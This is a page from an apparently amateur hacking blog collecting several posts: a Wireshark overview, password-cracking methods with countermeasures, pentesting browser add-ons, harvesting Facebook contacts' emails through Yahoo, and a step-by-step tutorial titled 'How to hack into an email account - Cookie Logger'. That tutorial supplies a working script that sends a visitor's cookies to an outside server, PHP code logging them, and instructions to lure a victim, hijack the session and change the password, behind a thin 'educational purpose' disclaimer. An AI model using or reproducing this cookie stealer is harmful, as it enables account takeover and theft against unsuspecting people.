Breaking News
Loading...

Recent Post

Showing posts with label Email Hack. Show all posts
Showing posts with label Email Hack. Show all posts
Saturday, April 12, 2014
Intro to Wireshark

Intro to Wireshark

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.
Wireshark is cross-platform, using the GTK+ widget toolkit in current releases, and Qt in the development version, to implement its user interface, and using pcap to capture packets; it runs on GNU/LinuxOS XBSDSolaris, and some other Unix-like operating systems, and on Microsoft Windows. There is also a terminal-based (non-GUI) version called TShark. Wireshark, and the other programs distributed with it such as TShark, are free software, released under the terms of the GNU General Public License.

Functionality

Wireshark is very similar to tcpdump, but has a graphical front-end, plus some integrated sorting and filtering options.
Wireshark allows the user to put network interface controllers that support promiscuous mode into that mode, in order to see all traffic visible on that interface, not just traffic addressed to one of the interface's configured addresses and broadcast/multicast traffic. However, when capturing with a packet analyzer in promiscuous mode on a port on a network switch, not all of the traffic travelling through the switch will necessarily be sent to the port on which the capture is being done, so capturing in promiscuous mode will not necessarily be sufficient to see all traffic on the network. Port mirroring or various network taps extend capture to any point on the network. Simple passive taps are extremely resistant to tampering.
On Linux, BSD, and OS X, with libpcap 1.0.0 or later, Wireshark 1.4 and later can also put wireless network interface controllers into monitor mode.

Features

Wireshark is software that "understands" the structure (encapsulation) of different networking protocols. It can parse and display the fields, along with their meanings as specified by different networking protocols. Wireshark uses pcap to capture packets, so it can only capture packets on the types of networks that pcap supports.
  • Data can be captured "from the wire" from a live network connection or read from a file of already-captured packets.
  • Live data can be read from a number of types of network, including EthernetIEEE 802.11PPP, and loopback.
  • Captured network data can be browsed via a GUI, or via the terminal (command line) version of the utility, TShark.
  • Captured files can be programmatically edited or converted via command-line switches to the "editcap" program.
  • Data display can be refined using a display filter.
  • Plug-ins can be created for dissecting new protocols.
  • VoIP calls in the captured traffic can be detected. If encoded in a compatible encoding, the media flow can even be played.
  • Raw USB traffic can be captured.
Wireshark's native network trace file format is the libpcap format supported by libpcap and WinPcap, so it can exchange captured network traces with other applications that use the same format, including tcpdump and CA NetMaster. It can also read captures from other network analyzers, such as snoopNetwork General's Sniffer, and Microsoft Network Monitor.



#Wireshark #Windows #Linux #Backtrack #Ubuntu #Kali-Linux
Monday, January 13, 2014
6 Most Common Password Cracking Methods And Their Countermeasures

6 Most Common Password Cracking Methods And Their Countermeasures


There are number of methods out their used by hackers to hack your account or get your personal information. Today in this post i will share with you guys 6 Most commonly used method to crack password and their countermeasures. You must check out this article to be safe and to prevent your online accounts from hacking.
1. Brute Force Attack

Any password can be cracked using Brute-force attack. Brute-force attacks try every possible combinations of numbers, letters and special characters until the right password is match. Brute-force attacks can take very long time depending upon the complexity of the password. The cracking time is determined by the speed of computer and complexity of the password.

Countermeasure: Use long and complex passwords. Try to use combination of upper and lowercase letters along with numbers. Brute-force attack will take hundreds or even thousands of years to crack such complex and long passwords.
Example: Passwords like "iloveu" or "password" can be cracked easily whereas computer will take years to crack passwords like "aN34lL00"

2. Social Engineering

Social engineering is process of manipulating someone to trust you and get information from them. For example, if the hacker was trying to get the password of a co-workers or friends computer, he could call him pretending to be from the IT department and simply ask for his login details. Sometime hackers call the victim pretending to be from bank and ask for their credit cards details. Social Engineering can be used to get someone password, to get bank credentials or any personal information.

Countermeasure: If someone tries to get your personal or bank details ask them few questions. Make sure the person calling you is legit. Never ever give your credit card details on phone.

3. Rats And Keyloggers


In keylogging or RATing the hacker sends keylogger or rat to the victim. This allows hacker to monitor every thing victim do on his computer. Every keystroke is logged including passwords. Moreever hacker can even control the victims computer.

Countermeasure: Never login to your bank account from cyber cafe or someone else computer. If its important use on-screen or virtual keyboard while tying the login. Use latest anti-virus software and keep them updated. Check out below article to know more about Rats and Keyloggers.

4. Phishing


Phishing is the most easiest and popular hacking method used by hackers to get someone account details. In Phishing attack hacker send fake page of real website like facebook, gmail to victim. When someone login through that fake page his details is send to the hacker. This fake pages can be easily created and hosted on free web-hosting sites.

Countermeasure: Phishing attacks are very easy to avoid. The url of this phishing pages are different from the real one. For example URL of phishing page of facebook might look like facbbook.com (As you can see There are two "b"). Always make sure that websites url is correct. Check out below article to know more about phishing.

5. Rainbow Table

A Rainbow table is a huge pre-computed list of hashes for every possible combination of characters. A password hash is a password that has gone through a mathematical algorithm such as md5 and is transformed into something which is not recognizable. A hash is a one way encryption so once a password is hashed there is no way to get the original string from the hashed string. A very commonly used hashing algorithm to store passwords in website databases is md5. It is almost similar to dictionary attack, the only difference is, in rainbow tables attack hashed characters are used as passwords whereas in dictionary attack normal characters are used as passwords. 

Example: ‘hello’ in md5 is 5d41402abc4b2a76b9719d911017c592 and zero length string ("") is d41d8cd98f00b204e9800998ecf8427e

Countermeasure: Make sure you choose password that is long and complex. Creating tables for long and complex password takes a very long time and a lot of resources

6. Guessing


This seems silly but this can easily help you to get someones password within seconds. If hacker knows you, he can use information he knows about you to guess your password. Hacker can also use combination of Social Engineering and Guessing to acquire your password.

Countermeasure: Don't use your name, surname, phone number or birthdate as your password. Try to avoid creating password that relates to you. Create complex and long password with combination of letters and numbers.

Tags:- #Passwordcrack,#Password,#Crack,#BruteForceAttack,#Phishing,#md5
Saturday, January 11, 2014
7 Most Important Addons for Hackers & Pentesters

7 Most Important Addons for Hackers & Pentesters


Hello friends, after a short break m back with an interesting post. well guys check my previous post on Bots both good and evil, but actually all challenges, practice, & Hacking requires tools, so there is Addons as in the form of tools. There are many types of Addons & there is also many Hacking, Pentesting ad-dons specially for Security researchers. So today i created this Post to give you little info about important addons for hackers & pentesters.

# 7 Most Important Addons for Hackers & Pentesters :
*First of all always use Mozilla Firefox for Web App Pentesting & to use all these addons.

[1] Tamper Data
Tamper Data is one of the most useful Addons for Pentesters it is used to view and modify HTTP/HTTPS headers and post parameters.Trace and time HTTP response or requests. Security test web applications by modifying POST parameters and Much More.



[2] Hack Bar
Hack Bar is one of the Best & Most wanted Simple security audit / Penetration test tool. Very Strongly Recommended you to Install & very useful. Useful in XSS, SQL Encoding/Decoding - MD5, SH1, Base64, Hexing, Splitting etc.



 [3] Live HTTP Headers
Live HTTP Headers is little bit same as Tamper Data but with great difference and art of working & Viewing HTTP headers of a page while browsing. It most comes use to Inject XSS Payloads & get many information of website plugins,CSS,Javascript & HTML content.



 [4] User Agent Switcher
The User Agent Switcher extension adds a menu and a toolbar button to switch the user agent of a browser. It can help you changing the User Agent to IE, Search Robots, I-Phone (I-OS), or you can also create your own User Agent.



 [5] Cookie Manager+
Cookies manager to view, edit and create, Inject Cookies etc. It also shows extra information about cookies, allows edit multiple cookies at once & backup/restore.



[6] HTTP-Fox
HttpFox monitors and analyzes all incoming and outgoing HTTP traffic between the browser and the web servers. It aims to bring the functionality known from tools like Http Watch or IE Inspector to the Firefox browser.

Information available per request includes:
- Request and response headers
- Sent and received cookies
- Querystring parameters
- POST parameters
- Response body



[7] Passive Recon
PassiveRecon provides information security professionals with the ability to perform "packetless" discovery of target resources utilizing publicly available information. Most Wanted Information Gathering Tool.



[0] XSS Me
This one is Just from my side ;). isn't recommended but you must have - XSS Me : Cross-Site Scripting (XSS) is a common flaw found in todays web applications. XSS flaws can cause serious damage to a web application. Detecting XSS vulnerabilities early in the development process will help protect a web application from unnecessary flaws. XSS-Me is the Exploit-Me tool used to test for reflected XSS vulnerabilities.


Thank you friends for reading my Post, actually many users are still aware of Addons & there uses, so i just posted to share knowledge - If you have any type of problem o question please comment & Let me know. and please share it.
Friday, December 20, 2013
How To Find Facebook Email Address Legally When It Is Hidden?

How To Find Facebook Email Address Legally When It Is Hidden?


At some point or another, you will find yourself looking for a Facebook user's email address. In the past, you can look up for the email address of any Facebook contact by simply going to his or her profile's "About" tab. Today, due to Facebook's privacy updates, majority of the user's email address are replaced with a Facebook email address. When people send you an email using this Facebook email address, their message would not go to the email account you signed up with but rather on your Facebook inbox. In several cases, the message will be sent to the "Other" folder.

What many do not know is that there is a legal way to find the email address of all your Facebook contacts. If you are an internet marketer who uses Facebook to gain business leads, this can be a goldmine. Additionally, there are several methods on how to get the email address of all your friends. The first option is to sync all your Facebook contacts on your smartphone. However, if you don't want to download these information to your phone and would rather have them in a more organized file, you can do this with the help of your Yahoo! email account. If you don't have a Yahoo! account, you can easily sign up for one through their website. (It's free.)

Here are the steps on how to find the email address of all your Facebook contacts through Yahoo! Mail. 1. Once you are logged in to your Yahoo! mail account, go to "Contacts" tab and then click on the "Import Contacts" button.


2. Click the Facebook icon to begin importing your friend's contact details.


3. Importation may take a while especially if you have several connections. You will be notified when the action is finished. Click "Done" and you will now see the imported email addresses on your Yahoo! contact list.


4. If you want to export your contact list to a CSV file, note that the option is there but will not work for your Facebook contacts. The work around is to view your contact list in "Print" form and then copy-paste them to excel or notepad.




Monday, April 15, 2013
How to hack into an email account - Cookie Logger

How to hack into an email account - Cookie Logger

Well one of the question which is asked most to me is,"How to hack into an email account",So today i am posting a new way to hack into an email account,I am not posting this post to excite hackers but to make you aware of whats going around

Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.
What is a Cookie Logger?

A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show How to make your own Cookie Logger


Note :- This Tutorial is For Education Purpose Only… & Its For Better Security For Ur Self…




Step 1  :- First you have to create a file which can capture a person's cookie.So follow the following process.

  
<script>location.href='http://www.hackdworld-lk.blogspot.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>


Step 2 :- Now you have to change "http://www.hackdworld-lk.blogspot.com/" to your site, Remember one thing you should not upload the files into a directory.

Now open notepad and paste the script in it and save it as fun.gif

Step 3 :- Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

 $filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>

Step 4 :-  Create a new Notepad File and Save it as logfile.txt

Upload this file to your server

 cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you don’t have any Website then you can use the following Website to get a Free Website which has php support :

www.ofees.net
www.t35.com
www.ripway.com
http://my3gb.com/
http://000webhost.com/

Step 5:- Now your cookie logger is ready to be used. Now All U Had To Do is Find The Victim & Try Cookie Logger / Cookie Stealer On Them…

Note :- Give Ur Victim The Link Of GIF File… 

 http://www.yoursite.com/fun.gif

So the person who click it will think it is fun.jpg but it redirects to fun.gif


Step 6 :- So if anyone click the image you will get a temporary error and you will find the cookie in the logfile.txt


Step 7 :- And something like this will be stored in your "logfile.txt"

 phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 8 :- To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.

Now for this you will need a firefox addon named "Add and edit cookies

Note :- Make Sure that ur Victim should be Online because u are Hijacking ur Victim’s Session…


So if the Victim clicks on Logout you will also Logout automatically…
but once you have changed the password then you can again login with the new password… but the victim would not be able to login with it…

MUST READ :- I don’t take any responsibility for what you do with this script…Its Only for Educational purpose only…


How To Get Secure From Cookie Loggers / Cookie Stealer ???
 
Don’t Click On Any Links Given By Anyone…
Use Secure Connection Security In Facebook…
Use Login Notifications For Better Security…
Don’t Click On SPAM Links Videos Or Pics…
Never Ever Try RATS or KeyLoggers…
Be Safe…Don’t Use Any Softwares For Hacking…Coz All Are Fakes…
Hacking is Not Playing With SomeOne’s Account… 
Real Hacking is Much More Than It…
All The Hackers are Not Same… We are Humans & We Had Heart Also…
So, Wake Up Fast… With The New Techys…
Copyright © 2012 DzireZOne All Right Reserved
Designed by Pirate Rex